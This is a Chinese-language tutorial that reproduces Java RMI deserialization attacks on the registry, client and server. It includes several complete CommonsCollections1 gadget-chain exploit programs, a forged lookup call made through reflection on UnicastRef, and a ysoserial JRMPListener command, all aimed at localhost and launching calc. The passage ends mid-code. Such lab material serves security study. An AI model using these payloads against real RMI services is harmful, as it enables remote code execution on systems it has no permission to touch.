RMI反序列化

前言:

上一篇文章我们通过分析rmi的基本原理总结出了相关的反序列化漏洞点

这篇文章我们就针对这三个大的部分进行漏洞复现

攻击Registry

只有一种客户端打注册中心

主要落在这个Registryimpl_Skel.dispatch里面的好几个case

  • 0->bind(绑定)
  • 1->list
  • 2->lookup (查找)
  • 3->rebind(重新绑定)
  • 4->unbind (解绑)

因为除了 list 和 lookup 两个,其余的交互在 8u121 之后都是需要 localhost 的。

而且只有list没有反序列化点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
case 0:
               String var100;
               Remote var103;
               try {
                   ObjectInput var105 = var2.getInputStream();
                   var100 = (String)var105.readObject();//反序列化点
                   var103 = (Remote)var105.readObject();//反序列化点
               } catch (IOException var94) {
                   throw new UnmarshalException("error unmarshalling arguments", var94);
               } catch (ClassNotFoundException var95) {
                   throw new UnmarshalException("error unmarshalling arguments", var95);
               } finally {
                   var2.releaseInputStream();
               }

               var6.bind(var100, var103);

               try {
                   var2.getResultStream(true);
                   break;
               } catch (IOException var93) {
                   throw new MarshalException("error marshalling return", var93);
               }
1
2
3
4
5
6
7
8
9
10
11
case 1:
                var2.releaseInputStream();
                String[] var99 = var6.list();

                try {
                    ObjectOutput var102 = var2.getResultStream(true);
                    var102.writeObject(var99);//  无  反序列化点
                    break;
                } catch (IOException var92) {
                    throw new MarshalException("error marshalling return", var92);
                }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 2:
                String var98;
                try {
                    ObjectInput var104 = var2.getInputStream();
                    var98 = (String)var104.readObject();//反序列化点
                } catch (IOException var89) {
                    throw new UnmarshalException("error unmarshalling arguments", var89);
                } catch (ClassNotFoundException var90) {
                    throw new UnmarshalException("error unmarshalling arguments", var90);
                } finally {
                    var2.releaseInputStream();
                }

                Remote var101 = var6.lookup(var98);

                try {
                    ObjectOutput var9 = var2.getResultStream(true);
                    var9.writeObject(var101);
                    break;
                } catch (IOException var88) {
                    throw new MarshalException("error marshalling return", var88);
                }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
case 3:
                Remote var8;
                String var97;
                try {
                    ObjectInput var11 = var2.getInputStream();
                    var97 = (String)var11.readObject();//反序列化点
                    var8 = (Remote)var11.readObject();//反序列化点
                } catch (IOException var85) {
                    throw new UnmarshalException("error unmarshalling arguments", var85);
                } catch (ClassNotFoundException var86) {
                    throw new UnmarshalException("error unmarshalling arguments", var86);
                } finally {
                    var2.releaseInputStream();
                }

                var6.rebind(var97, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var84) {
                    throw new MarshalException("error marshalling return", var84);
                }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
case 4:
                String var7;
                try {
                    ObjectInput var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();//反序列化点
                } catch (IOException var81) {
                    throw new UnmarshalException("error unmarshalling arguments", var81);
                } catch (ClassNotFoundException var82) {
                    throw new UnmarshalException("error unmarshalling arguments", var82);
                } finally {
                    var2.releaseInputStream();
                }

                var6.unbind(var7);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var80) {
                    throw new MarshalException("error marshalling return", var80);
                }
            default:
                throw new UnmarshalException("invalid method number");
        }

list() 方法

用 list() 方法可以列出目标上所有绑定的对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;
import java.rmi.Naming;
import java.rmi.RemoteException;

// list 方法
//模拟一个 RMI 客户端,尝试获取(枚举)远程 RMI 注册表中的服务列表
public class RegistryListAttack {
    public static void main(String[] args) throws Exception{
        //定义一个匿名内部类实现 IRemoteObj 接口

        IRemoteObj remoteObj = new IRemoteObj() {
            @Override
            public String sayHello(String keywords) throws RemoteException {
                return null;
            }
        };
        //调用 Naming.list 方法,查询Registry的绑定服务
        //        // 这一步会尝试连接到 IP 为 127.0.0.1、端口为 1099 的 RMI Registry。
        //        // 它会返回一个字符串数组,包含该注册表上所有已绑定的服务名称(如 "HelloServer")。
        //        // 如果 1099 端口没有开启 RMI 服务,就会抛出你遇到的 "Connection refused" 异常。
        String[] s = Naming.list("rmi://127.0.0.1:1099");
        System.out.println(s);
    }
}

image-20260220012719096

其中:

1
2
3
4
5
6
IRemoteObj remoteObj = new IRemoteObj() {
    @Override
    public String sayHello(String keywords) throws RemoteException {
        return null;
    }
};

作用就是凭空产生一个符合 RMI 规范的对象,由于list没有反序列化点,所以这个地方也就写不了恶意代码

(我们在真实的攻击复现中,可以利用这个重写的机会,把恶意代码藏进去)

Server—>Registry

bind 或 rebind 的攻击

0 bind

3 rebind

(两个地方都有反序列化)

先看bind:

1
2
3
4
5
6
7
8
9
10
11
12
public void bind(String name, Remote obj)
    throws RemoteException, AlreadyBoundException, AccessException
{
    // The access check preventing remote access is done in the skeleton
    // and is not applicable to local access.
    synchronized (bindings) {
        Remote curr = bindings.get(name);
        if (curr != null)
            throw new AlreadyBoundException(name);
        bindings.put(name, obj);
    }
}

bind的构造函数需要传入两个参数 String (字符串,死的,不可控) Remote(对象,活的,可控)

结合cc链子,如果服务端这里存在 CC 链相关的组件漏洞,那么就可以反序列化攻击

以cc1为例,先导入cc依赖(两个都需要导入cc3.2.1)

1
2
3
4
5
6
7
<dependencies>  
 <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
 	<dependency>  
 	<groupId>commons-collections</groupId>  
	 <artifactId>commons-collections</artifactId>  
	 <version>3.2.1</version>  
 </dependency></dependencies>

bind接收两个参数 String (字符串,死的,不可控) Remote(对象,活的,可控),而远程调用bind()绑定服务时,注册中心会对接收到的序列化的对象进行反序列化。所以,我们只需要传入一个恶意的对象即可

CC1 的最后走的是 InvocationHandler.readObject(),上面我们分析的要让客户端走bind.readObject(),现在我们要将恶意的cc装到里面对象里面,而在客户端收到信息的时候是一个 Proxy 对象(客户端代理 Stub通过 Registry 传递给客户端), Proxy 对象被执行的时候去调 readObject() 方法,所以我们现在要看一下这个Proxy,里面有个newProxyInstance()

  • **loader**:让代理对象能顺利生成
  • **interfaces**:满足强类型要求,传的是 new Class[] { Remote.class }
  • **h**:把CC1 恶意代码,当作方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@CallerSensitive
public static Object newProxyInstance(ClassLoader loader,
                                      Class<?>[] interfaces,
                                      InvocationHandler h)
    throws IllegalArgumentException
{
    Objects.requireNonNull(h);

    final Class<?>[] intfs = interfaces.clone();
    final SecurityManager sm = System.getSecurityManager();
    if (sm != null) {
        checkProxyAccess(Reflection.getCallerClass(), loader, intfs);
    }
//--------------------------------------传参-------------------------------------------
    /*
     * Look up or generate the designated proxy class.
     */
    Class<?> cl = getProxyClass0(loader, intfs);

    /*
     * Invoke its constructor with the designated invocation handler.
     */
    try {
        if (sm != null) {
            checkNewProxyPermission(Reflection.getCallerClass(), cl);
        }
//---------------------------------创建动态代理,伪造恶意代码----------------------
        final Constructor<?> cons = cl.getConstructor(constructorParams);
        final InvocationHandler ih = h;//代理对象的核心逻辑
        if (!Modifier.isPublic(cl.getModifiers())) {
            AccessController.doPrivileged(new PrivilegedAction<Void>() {
                public Void run() {
                    cons.setAccessible(true);
                    return null;
                }
            });
        }
        return cons.newInstance(new Object[]{h});//最终被发往 RMI 服务端的对象。必须实现 Remote 接口,用来骗过 RMI 的类型检查
    } catch (IllegalAccessException|InstantiationException e) {
        throw new InternalError(e.toString(), e);
    } catch (InvocationTargetException e) {
        Throwable t = e.getCause();
        if (t instanceof RuntimeException) {
            throw (RuntimeException) t;
        } else {
            throw new InternalError(t.toString(), t);
        }
    } catch (NoSuchMethodException e) {
        throw new InternalError(e.toString(), e);
    }
}

接下来编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class Case0RegistryEXP {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        //这里的 CC1() 返回的是一个 AnnotationInvocationHandler 对象。
        //它虽然是一个 InvocationHandler(调用处理器),但它本质上是 Payload 的载体。它内部装着能够触发 Runtime.exec("calc") 的 ChainedTransformer 链条。
        InvocationHandler handler = (InvocationHandler) CC1();
		//创建动态代理,强制赋予 Remote 接口,伪造对象
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
        //将对象放入bind,bind走rmi底层逻辑触发反序列化
        registry.bind("test",remote);
    }
    public static Object CC1() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数  
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };



        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value","Piggy");


        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);

        return o;//这里的 CC1() 返回的是一个 AnnotationInvocationHandler 对象。
    }
}

image-20260302165002306

注意:计算机是在服务端弹出

rebind 和bind一样:

将registry.bind("test",remote); 替换为 rebind() 方法即可。

Client—>Registry

lookup 或 unbind的攻击

2 lookup (查找)

4 unbind (解绑)

先看 lookup:

lookup跟上面不同的地方在于只传入了String类型的参数,不可控

这里我们可以通过伪造 lookup 连接请求进行利用,修改 lookup 方法代码使其可以传入对象。

流程:

  • 请求:客户端发送字符串 "xxxx" 给服务端。
  • 响应:服务端 然后把一个包含了 CC1 链的恶意代理对象通过网络发回给 客户端。
  • 触发:客户端 收到字节流后,为了拿到这个对象,必须在本地执行 readObject()。
  • 爆炸:客户端弹出计算器。

我们可以利用反射来实现这种攻击。(模仿lookup中发送请求的流程,就能够控制发送过去的值为一个对象)

而且我们前面再梳理基本原理的时候也提到了UnicastRef,是他负责把数据打包、联网、发给服务器的(按照 RMI 的底层协议(JRMP)往 Socket 流里塞数据 底层传输协议(JRMP)其实可以传输任何序列化对象)

所以我们要反射的东西就是UnicastRef来跳过lookup的参数类型的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
       try {
           StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);

           try {
               ObjectOutput var3 = var2.getOutputStream();
               var3.writeObject(var1);
           } catch (IOException var15) {
               throw new MarshalException("error marshalling arguments", var15);
           }

           this.ref.invoke(var2);

           Remote var20;
           try {
               ObjectInput var4 = var2.getInputStream();
               var20 = (Remote)var4.readObject();
           } catch (IOException | ClassNotFoundException | ClassCastException var13) {
               var2.discardPendingRefs();
               throw new UnmarshalException("error unmarshalling return", var13);
           } finally {
               this.ref.done(var2);
           }

           return var20;
       } catch (RuntimeException var16) {
           throw var16;
       } catch (RemoteException var17) {
           throw var17;
       } catch (NotBoundException var18) {
           throw var18;
       } catch (Exception var19) {
           throw new UnexpectedException("undeclared checked exception", var19);
       }
   }

image-20260302203215746

  • this.ref:就是UnicastRef
  • operations:包含了RegistryImpl中的所有可用的方法
  • opnum: 2 &hash :是在operations中lookup方法的id,这个值要与后面的hash值匹配
  • var3.writeObject(var1):把 var1 换成了 CC1(),序列化传输
  • this.ref.invoke(var2):调用 invoke 后,数据包瞬间到达服务端,直接反序列化

直接看exp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;

public class Case2RegistryEXP {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        
        InvocationHandler handler = (InvocationHandler) CC1();
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
//通过反射触发,其他和上面的一样
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);
    }
    //cc1
    public static Object CC1() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };



        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value","Piggy");


        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);

        return o;
    }
}

image-20260302213037941

计算机是在服务端弹出

unbind 和 lookup一样

攻击Client

上篇我们分析过,是在 unmarshalValue() 那个地方存在入口类。

Registry—>Client

对于注册中心来说,我们还是从这几个方法触发:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

unbind(解绑对象)和rebind (重新绑定对象)可以不用获取对象,但是有返回值,是会序列化的

要是我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345  CommonsCollections1 'calc'

然后使用客户端去访问

1
2
3
4
5
6
7
8
9
package rmi_injection_labs1.client;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ClientAttackByCC1 {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.list();
    }
}

image-20260303215228583

具体可以参考:

猎人还是猎物-RMI之反制篇 | Halfblue

Server—>Client

  • 服务端返回Object对象
  • 远程加载对象

服务端返回Object对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。

所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以cc1为例

IRemoteObj:

修改一下接口内容

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.lang.reflect.InvocationTargetException;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {


    String sayhello(String keywords) throws RemoteException;//正常的方法

    Object sayHello() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException;//伪造的对象
}

服务端

用于实现User接口,返回 CC1 的恶意 Object 对象

使用transformermap版本的cc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {

    public RemoteObjImpl() throws RemoteException {
    }



    @Override
    public String sayhello(String keywords) throws RemoteException {
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }

//    @Override
//    public String sayHello(Object obj) throws RemoteException {
//        return "";
//    }


    @Override
    public Object sayHello() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };



        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value","Piggy");


        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        Object payload = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);


        return (Object) payload;

    }
}

或者使用lazymap版本的cc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {

    public RemoteObjImpl() throws RemoteException {
    }


//正常的方法,转大写
    @Override
    public String sayhello(String keywords) throws RemoteException {
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }


//伪造的对象,导入cc1的lazymap版本
    @Override
    public Object sayHello() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);


        return (Object) handler;

    }
}

客户端

调用恶意方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import java.lang.reflect.InvocationTargetException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");//lookup("rmi://127.0.0.1:1099/remoteObject")
        remoteObj.sayHello();
    }
}

image-20260304160101948


或者大家可以自己写在服务端另外写一个接口,服务端实现 User 接口写入恶意代码,之后将其挂载到注册中心,最后在客户端获取对象并调用接口中写的方法

我上面写的就是用的最开始分析RMI逻辑时写的代码,具体分析可以看这篇文章:

Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s Blog

加载远程对象

这个就是P神写的codebase,可用性不太高

简单解释一下:

主要利用的就是 RMI 动态类加载 + codebase 远程加载机制

当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。

java.rmi.server.codebase:codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用http://、ftp://、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。

对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebaseURL去加载类

对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebaseURL去加载对应的类。客户端与服务端两边的java.rmi.server.codebaseURL都是互相传递的。

无论是客户端还是服务端要远程加载类,都需要满足以下条件:

  • 目标 JVM 未禁用远程 codebase(useCodebaseOnly=false)
  • 允许远程代码加载的 SecurityManager 且配置了相应 policy 权限
  • 反序列化的类本地不存在

则 JVM 会根据携带的 codebase URL 去远程下载并加载 class 文件

和我们接下来学习的JNDI有点相似,可以说是RMI codebase 是 JNDI 攻击的前身

RMI codebase JNDI Reference
远程加载 class 远程加载 class
URL 指定位置 factory 指定位置
动态 defineClass 动态 defineClass

具体可以参考:Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

攻击Server

Client—>Server

服务端返回Object对象

和上面一样,逻辑是完全对称的

服务端需要反序列化“传入参数”

在 RMI 中,为了实现远程方法调用,参数必须能够被序列化。如果参数类型是 **Object**,服务端必须调用 readObject() 来还原你发送的任何对象。只要服务端调用了 readObject(),而你传过去的是精心构造的恶意对象(比如 CC1 链),攻击逻辑就会在服务端的内存中立即执行。

相当于是客户端给服务端恶意对象,然后服务端解析 所以被攻击就是服务端自己返回object

服务端:

写接口

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
    // 关键:参数类型要是 Object,这样才能接收我们构造的代理对象
    String sayHello(Object obj) throws RemoteException;
}

实现接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {

    public RemoteObjImpl() throws RemoteException {}

    @Override
    public String sayHello(Object obj) throws RemoteException {
        // 实际上在代码运行到这里之前,RMI框架的反序列化就已经触发了
        
        return "Hello, " + obj.toString();
    }

    public static void main(String[] args) throws Exception {
        RemoteObjImpl obj = new RemoteObjImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("remoteObj", obj);
        System.out.println("RMI服务端已启动,等待攻击...");
    }
}

客户端:

封装cc1

transformmap版本的cc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClientExploit {
    public static void main(String[] args) throws Exception {

            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke"
                            , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };



            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            HashMap<Object, Object> hashMap = new HashMap<>();
            hashMap.put("value","Piggy");


            Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
            annotationInvocationhdlConstructor.setAccessible(true);
            Object payload = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);




        // --- 第四步:连接 RMI 发射 Payload ---
        System.out.println("正在连接服务端并发起攻击...");
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");

        // 走你!
        remoteObj.sayHello(payload);


    }
}

或者使用lazymap版本的cc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClientExploit {
    public static void main(String[] args) throws Exception {
       
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

    
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);

     
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
